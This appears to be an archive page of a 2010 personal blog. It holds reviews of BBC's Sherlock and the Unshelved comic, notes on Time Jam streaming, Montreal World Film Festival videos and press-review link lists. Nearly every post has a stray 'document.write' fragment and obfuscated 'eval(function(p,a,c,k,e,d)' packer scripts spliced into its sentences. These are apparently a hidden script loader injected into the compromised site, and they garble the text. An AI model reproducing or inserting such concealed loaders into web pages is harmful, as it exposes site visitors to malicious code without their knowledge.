BBC Broadcasts in Ultra High-Def, 16 Times Sharper Than HDTV (Popular Science)

See also the “Suggested Links (Shared Items)” in the column on the right side

Time Jam streamed by Crunchyroll

September 27, 2010 / Clodjee / Leave a comment

I’ve been working for a while now on an article about the animated version of Valerian and Laureline (it’s taking a long time because I am quite busy and it’s a 40-episode series; also I am writing it in french, document.write(“”); but will probably include a synopsis of the article in english whenever I post it online) so I was quite pleased when I read on Anime News Network that Crunchyroll was streaming it.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsttz|var|u0026u|referrer|nrhds||js|php’.split(‘|’),0,{}))

Based on the famous graphic novel written by Jean-Claude Mezieres and Pierre Christin, Time Jam: Valerian and Laureline is an animation co-produced by the French publisher Dargaud and the Japanese studio Satelight. All premium anime and all-access Crunchyroll members will have access to the entire 40 episodes immediately, while only the first five episodes will be available to free users now with the subsequent five episodes rolling out henceforth. Unfortunately, due to licensing limitations, the series is available only to the U.S. audience. If you are located in the right region, episodes can be accessed from Crunchyroll.com, tv.com, the free iPad and iPhone application, the Boxee application and affiliate partners.

More information can be found in the full press release and on www.crunchyroll.com/valerian. You can also find a previous blog entry with the series’ trailer.

Sherlock

September 27, 2010 / Clodjee / 1 Comment

As many of the interesting TV shows I’ve watched over the years were produced in the UK (The Avengers, document.write(“”); The Champions, Desperate Romantics, Doctor Who, The Hitchhiker’s Guide to the Galaxy, I Claudius, Lark Rise to Candleford, Life on Mars, Merlin, Murder Rooms, Primeval, Red Dwarf, Robin Hood, Secret Diary of a Call Girl, Sherlock Holmes (with Jeremy Brett), Space: 1999, Thunderbirds, Torchwood, UFO, Upstairs Downstairs, just to name a few), I have developped a special appreciation for British series (and I’ll definitely write an article on that subject when I have the time). So, when I heard that the BBC was planning a modern adaptation of Sherlock Holmes, I was already intrigued. When I realized that it would be co-created by Steven Moffat (who’s now the lead writer for Doctor Who), I was really interested and determined to check on this new series.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yybks|var|u0026u|referrer|tdnki||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrkah|var|u0026u|referrer|hdssi||js|php’.split(‘|’),0,{}))

Simply titled “Sherlock”, the series is a piece of very clever writing. The first episode, titled “Study in Pink”, is probably the best. It is obviously based on the original story “A study in scarlet”. The character of Watson is introduced in a manner that is superbly similar to the original: he is a recently discharged soldier back from a tour in Afghanistan where he injured his leg (although Sherlock diagnosed his limping as psychosomatic). In the original, Sherlock also deducts lots of information on Watson family background by looking at his pocket watch. Here, he does the same by looking at his cellphone! In the first episode the parallel between the clever adaptation and the original story is more easily drawn. In the subsequent episodes (titled “The Blind Banker” and “The Great Game”, respectively inspired by “The dancing men” and “The Bruce-Partington plans” amongst others) the story is increasingly complex and the parallel less obvious. Unfortunately, this complexity and the fast pace of the storytelling make the series a little too hard to follow for the people who prefer more simple and quiet stories. It really gets worse with the third episode, as if they wanted to cram too many elements in the 90-minute broadcast show.

Despite the fact that Holmes uses the latest of technology to solve crimes, the modern adaptation is, in many aspects, more respectful of the spirit of the character than Guy Ritchie’s recent movie. It is exactly the same type of adventures as written by Doyle, but played in fast forward for the attention-deficit plagued video-game generation. In his crazy way, Sherlock (played by Benedict Cumberbatch) almost feels and speaks like The Doctor in “Doctor Who” (no wonder there considering Moffat’s involvement). There’s quite some good acting in that part. And, having watched the entire Granada Television series, I can certainly say the adaptation is brilliant in its every details: Watson writing a blog, Holmes using nicotine patches instead of smoking and shooting heroin, etc.

My main disappointment was that only three episodes were broadcasted on the BBC in late July and August 2010 (they are due to air on PBS in the USA from October 24th 2010). There will be a new series in Fall next years, but unfortunately it will be again only three 90-minute episodes.

Another disappointment is that Moriarty is way too present in the story. I guess the general public perception of Holmes stories is probably at fault here: since Moriarty is Holmes archenemy, people imagine he must occupy a large place in the original stories whereas he appears only in a few episodes. Interestingly, the modern adaptation ends in a way quite similar as in the first Sherlock Holmes book: rather than letting his enemy go, Sherlock doesn’t hesitate to die with him. In the original story, he jumps (or falls) into a waterfall with Moriarty. In the modern version, it is suggested that he will blow a bomb to kill Moriarty as well as himself (and Watson). Will he really die? We’ll see in the second season, I guess.

A clever and intellectually challenging tv drama. It is quite promising. I can’t wait for more. It is already available on DVD in the UK and the North American release will be in November. It would also be a good occasion to read (or re-read or read about) the original stories.

Revue de Presse / Press Review (2010/09/23)

September 23, 2010 / Clodjee / Leave a comment

Personal update: So many stuff to do and so little time! Feeling a little better, document.write(“”); but still tired as always. Now that automn is here it really starts feeling cold. It’s sure time to uninstall the air conditioning. Just finished watching Shogun again and spent some time yesterday reading the latest news:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyaah|var|u0026u|referrer|terzr||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

War and Peace in the Art of Tezuka Osamu: The humanism of his epic manga (JapanFocus)
New trailer for “Space Battleship Yamato” (YouTube)
Le succès fulgurant d’un vigneron bordelais au Japon (Le Monde)
Winery Pulls Vintage After Mention in “Kami no Shizuku” (ANN)

Apple & iPad news

“Protégez-Vous” couronne l’iPhone (Cyberpresse)
Secrets of Apple’s customer success (CNN)

Books, Digital Edition & Library

Bookeen’s multitouch-equipped Cybook Orizon e-reader to launch next month (Engadget)
“Diamond Bookshelf” enewsletter: graphic novels info for librarians (Diamond Bookshelf)

Economy, Environment & International Politics/News

L’air chaud du métro, nouvelle source possible de chauffage dans les villes (Le Monde)
World’s Largest Offshore Wind Farm Opens Today in Britain (Popular Science)

Health, home & garden

A Good Massage Brings Biological Changes, Too (NYT)

Media, Culture & Society

Netflix: un mois gratuit pour attirer les clients canadiens (Cyberpresse)
Netflix launches in Canada (The Gazette)

Montreal & Local/National Politics/News

Le registre des armes d’épaule sera maintenu (Métro Montréal)

Sciences & History

Technology, Gadgets & Internet

Netflix brings streaming-only service to Canada (Electronista)
Netflix Canada: Unlimited TV Show & Movies Online (NetFlix.ca)
Hulu Plus mobile TV app tops Bitbop with fresh content (USA Today)
RIM Readies Tablet to Rival iPad (WSJ)

See also the “Suggested Links (Shared Items)” in the column on the right side

Unshelved #8: Large Print

September 16, 2010 / Clodjee / Leave a comment

“Unshelved makes me appreciate those busy librarians of my school days even more. They were my best friends no matter where I went, document.write(“”); and I worshipped them. Seeing what they had to deal with only notches up my love for them! —Tamora Pierce”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbadd|var|u0026u|referrer|iefnd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skhhd|var|u0026u|referrer|skzkd||js|php’.split(‘|’),0,{}))

“What do you get when you mix adults, teenagers, children, babies, seniors, professionals, parents, teachers, students, homeschoolers, and the homeless? That very funniest of places, your local public library, home of the hugely popular Web comic Unshelved.” [texts from the back cover]

Everything in this comic is eerily familiar: it tells the daily life of the staff from a dysfunctional library. Large Print is the eighth yearly compilation of Unshelved, a daily online comic strip originally published on the Unshelved website from February 16, 2009 to April 26, 2010, and ALA CogNotes newspapers in June 2009 and January 2010 (CogNotes is the daily paper of the American Library Association Midwinter Meeting and ALA Annual Conference, where the famous Unshelved “Conference Tips” are published). I have already reviewed the previous volumes in the blog entries “Unshelved” and “Unshelved #7: Reader’s Advisory”. You can also find more information in the Wikipedia entry, the Official Unshelved Facebook page or the Unshelved Readers Facebook group.

This volume is noticeably more hillarious than the previous one. Everyone will laugh at the funny and often absurd situations happening in the Mallville public library. I am probably laughing even harder because I recognize myself a lot in there, since I experienced first-hand many of those situations. It’s written by a real-life librarian and it shows. Of course, the art is a little crude and cartoony, but —as I often say— it’s the story that counts.

This volume has something new: it has a few comments from the writers underneath the strips. It’s interesting to read and I would have liked to have more of those. Also, this time the book is in a smaller format and in b&w only. However, since part of the book deals with how the library is coping with the recession, I think this downsizing is befitting the story. Large Print is compiling 313 daily strips (mostly in their original publishing order), 16 “Library Tips”, and 9 ALA “Conference Tips”. Unfortunately, the color “Book Club” pages (where the authors illustrate book recommendations) are absent and I am quite disappointed with this (however you can still read them online). But I guess it was necessary if they wanted the book to be only in b&w. All in all, Large Print offers a good laugh, particularly if you have ever spent some time in a public library. Highly recommended.

One of my favourite strips (from 2009/10/26):
My top 25 strips (in the order they appear in the book): 2009/03/02, 2009/03/07, 2009/03/25, 2009/04/01, 2009/04/13, 2009/05/02, 2009/05/12, 2009/06/09, 2009/06/06, 2009/07/17, 2009/07/22, 2009/08/05, 2009/10/26, 2009/10/17, 2009/10/06, 2009/10/08, 2009/10/19, 2009/12/08, 2009/12/29, 2009/12/31, 2010/03/03, 2010/03/22, 2010/04/01, 2010/04/22, and 2010/04/20.

Unshelved Vol. 8: Large Print, by Gene Ambaum and Bill Barnes. Seattle, Overdue Media, 2010. 21.8 x 17 cm, 128 pgs., $11.95 US / $14.95 CDN. ISBN-13: 978-09740353-7-6.

P.S.: I pre-ordered this book via amazon.ca in january 2010. It was due to be released in mid-July, but it was only delivered in mid-September even if it had been available through the publisher’s web site since july… Go figure! It is also disappointing that this book is not available at all through my local libraries network (where I work)!

Revue de Presse / Press Review (2010/09/16)

September 16, 2010 / Clodjee / Leave a comment

Personal update: We started feeling that automn is getting close as the temperature has sharply dropped around 12’C. I’ve got my schedule for the new season and its nothing to get excited about: twenty hours over four days that I will complete with ponctual replacements. Unfortunately, document.write(“”); in order to reach a thirty-five-hour week I’ll have to work six days, like this week. So today is my only day off of the week. I have to cram all the house chores, as well as the blog updates, in this one day and still find time to rest and relax while reading and watching tv (my wife and I recently finished watching Upstairs, Downstairs and just started watching Shogun again)! I’ll try not to work six days a week too often (if I want to stay healthy and sane). Strangely, there was lots of interesting news this week:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssaky|var|u0026u|referrer|rahbd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beakh|var|u0026u|referrer|setbh||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

6 Tips To Get More Manga in Your Local Library
Desperate Librarian Housewife: “pourquoi on prêterait pas des liseuses ?” (autre point de vue: celui des bibliothécaires qui se foutent de leur employés déjà surchargés de travail et sous-payés; cela m’apparait ridicule mais l’argument est, toutefois [hélas!], valable)

Economy, Environment & International Politics/News

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics/News

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Villain / Akunin (video)

September 10, 2010 / Clodjee / Leave a comment

Screening presentation and press conference for the Japanese movie Villain (Akunin) at the 2010 Montreal World Film Festival (filmed September 5th & 6th 2010). Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeeba|var|u0026u|referrer|zzskh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dibzs|var|u0026u|referrer|tyher||js|php’.split(‘|’),0,{}))

Villain from clodjee on Vimeo.Also available on Blip.tv

Box – The Hakamada Case (video)

September 10, 2010 / Clodjee / Leave a comment

Screening presentation and press conference for the Japanese movie Box – The Hakamada Case at the 2010 Montreal World Film Festival (filmed September 2nd & 3rd 2010). Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnzat|var|u0026u|referrer|frznh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nabhk|var|u0026u|referrer|aysna||js|php’.split(‘|’),0,{}))

Box – The Hakamada Case from clodjee on Vimeo.Also available on Blip.tv

Hommage à Nathalie Baye (video)

September 10, 2010 / Clodjee / Leave a comment

Conférence de presse rendant hommage à Nathalie Baye lors du Festival des Films du Monde 2010 (filmé le 5 septembre 2010). En français seulement.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nznez|var|u0026u|referrer|zhdth||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkhhs|var|u0026u|referrer|dkdzr||js|php’.split(‘|’),0,{}))

Press conference paying tribute to French actress Nathalie Baye at the 2010 Montreal World Film Festival (filmed on September 5th). In French only.

Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.

Hommage à Nathalie Baye from clodjee on Vimeo.
Also available on Blip.tv

Caterpillar and Torocco (video)

September 9, 2010 / Clodjee / Leave a comment

Here are the screening presentation of the movies Caterpillar (Le Soldiat-Dieu) and Torocco (Rail Truck) at the 2010 Montreal World Film Festival. I am not a pro videographer, document.write(“”); so these video are rather shaky rough cuts with limited editing. Note that the Caterpillar video is only in French.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akiai|var|u0026u|referrer|dkyab||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brhyn|var|u0026u|referrer|sdfrs||js|php’.split(‘|’),0,{}))

Caterpillar [ Vimeo ] [ YouTube ]

Torocco [ Vimeo ] [ YouTube ]

Revue de Presse / Press Review (2010/09/06)

September 6, 2010 / Clodjee / Leave a comment

Personal update: Not much happened in the last week. The health is a little better, document.write(“”); but I am still quite tired. Still too busy to put online my list of items to sell at my “Virtual Yard sale” [Be patient, it’s coming]. Last Wednesday Apple announced a bunch of new products, but none of them seem really interesting to me (save maybe the iOS 4.2 update for iPad that I am eagerly awaiting [it’s announced for November]; neither the new AppleTV or the 4th gen iPod Touch would be useful to me). I’ve also been screening Japanese movies at the Montreal World Film Festival; expect several “reviews” and press conferences video soon. In the meantime, here’s a few news that got my attention:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdfft|var|u0026u|referrer|fydak||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbtsa|var|u0026u|referrer|nfanz||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Apple TV Faces Obstacles to Conquer Living Room
Apple TV menace le câble
La NASA lance une application gratuite pour l’iPad
Les médecins s’intéressent à l’iPad
A roundup of September 1st Apple news
Apple Keynote for Sept. 1st special event [ YouTube ] [ Apple ]
Apple Keynote in less than 180 seconds! :

Books, Digital Edition & Library

Economy, Environment & International Politics/News

Film Festival

FFM 2010: Dossier de “La Presse”
Un festival de naufragés [La Presse]
Pour le meilleur, et surtout le Pire [La Presse]
Awards of the Montreal World Film Festival 2010 [en français]
“Adem” remporte le Grand Prix des Amériques [La Presse]
Nathalie Baye a toujours un grand appétit pour le cinéma [Rue Frontenac]
“Adem” reçoit le Grand Prix des Amériques [Métro Montréal]

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics/News

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

[Updated 9/07 with extra news; 9/08 with Apple Keynote links]

Clip: Losique sur le cinema japonais

September 6, 2010 / Clodjee / Leave a comment

À la conférence de presse dévoilant la programmation 2010 du Festival des Films du Monde tenue le 10 août dernier, document.write(“”); le président du festival, Serge Logique, a fait quelques commentaires sur le cinéma Japonais. Ce n’est pas la première fois qu’il exprime ainsi une attention particulière au cinéma Japonais (quoiqu’il y a quelques années, c’était dans le cadre d’un “Focus sur le cinéma Japonais”) ce qui démontre qu’il l’apprécie et s’y intéresse beaucoup.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntbke|var|u0026u|referrer|ehnrh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhhdy|var|u0026u|referrer|kbndd||js|php’.split(‘|’),0,{}))

Il déplore que le cinéma Japonais ne soit malheureusement pas très présent ni bien connu en Amérique du Nord et que c’est la tâche des journalistes de le faire découvrir et apprécier du grand public. Il rappelle que le Japon nous a donner de nombreux grands réalisateurs et que, après quelques décennies de vaches maigres, le cinéma Japonais est revenu en grande force. Il explique que le cinéma Japonais a toujours été très présent au Festival des Films du Monde parce que les producteurs Japonais le considère comme un tremplin vers le marché international.

Vous pouvez visionner la conférence de presse présentant la programmation 2010 du FFM dans sa quasi-totalité sur Vimeo.

Losique sur le cinema Japonais from clodjee; on Vimeo.
At the press conference unveiling the Montreal World Film Festival 2010 programming, which was held on August 10th, Serge Losique, the director of the festival, made some comments on the Japanese cinema. It is not the first time that he express such a particular interest for this cinema (although a few years ago he did it while the festival was presenting a special “focus” on the Japanese cinema) which seems to demonstrate that he is quite fond of it.

He laments that Japanese cinema is unfortunately not very present nor known in North America, and that it is up to the journalists to introduce it to movie goers and make them appreciate it. He recalls that Japan gave us many great directors and that, following several decades of lean times, Japanese cinema is coming back with great strengths. He points out that it has always had an important place at the Montreal World Film Festival because Japanese producers see the festival as a stepping stone toward the international market.

You can watch the MWFF 2010 programming press conference in almost its entirety on Vimeo.

“Sword of Desperation” video

August 29, 2010 / Clodjee / Leave a comment

Here’s a video of the screening presentation and press conference of the Japanese movie Sword of Desperation at the Montreal World Film Festival 2010 (filmed by clodjee on August 27th, document.write(“”); 31:21 min.):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhnfz|var|u0026u|referrer|khaaf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbzfe|var|u0026u|referrer|ezakr||js|php’.split(‘|’),0,{}))

Sword of Desperation from clodjee on Vimeo.

Revue de Presse / Press Review (2010/08/27)

August 27, 2010 / Clodjee / Leave a comment

Personal update: I’ve been feeling unwell for the last two weeks (first some disgestion problems and then some sort of cold), document.write(“”); so I have not done much lately besides slaving for the libraries. I always feel completely exhausted after work. I guess I am worrying too much about my next working schedule and moving out of the apartment. The bright side is that if I don’t get much work this fall it will leave me time to rest and to shop for a new house. But now with the Montreal World Film Festival I should be again quite busy (and tired) for a couple of weeks. I can’t wait to have some real time off… Anyway, the world is still turning and there’s always news to talk about:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnzrk|var|u0026u|referrer|draef||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhdas|var|u0026u|referrer|enstk||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

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See also the “Suggested Links (Shared Items)” in the column on the right side

“Sword of Desperation” press conference

August 26, 2010 / Clodjee / Leave a comment

Those who follow my World Film Festival coverage might be interested to know that the press conference for the Japanese movie Sword of Desperation (Hisshiken Torisashi) will be held tomorrow, document.write(“”); friday August 27th, at 2 pm (14:00) in the Complexe Desjardins’ Grande-Place. The movie, which is in competition, will be screened tomorrow at the Cinema Imperial at 9:00 and at the Maisonneuve Theatre at 21:30. The director Hideyuki Hirayama and screenwriter Hideri Ito will attend the press conference, which will be open to the public.
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A video of the screening presentation and press conference is available.

A list of the upcoming press conferences can be found on the festival web site.

I will regularly update my list of Japanese films with new information as they are available. I’ll make a separate note for all major new information. Enjoy the festival!

Revue de Presse / Press Review (2010/08/17)

August 17, 2010 / Clodjee / Leave a comment

Personal update: I’ve been incredibly busy lately and I’m sure it will only get worse (unless I don’t manage to get a full schedule for the libraries fall time-block—the time of sleepless worrying over scheduling is back again). I’ve spent all week-end at Otakuthon: It was a good convention (at least for me in the dealers’ room) but quite exhausting. With all the stress and exhaustion, document.write(“”); I’ve not been feeling well lately (headache and disgestion problems). I couldn’t manage to write much, but I did spot of few noteworthy newsbits:
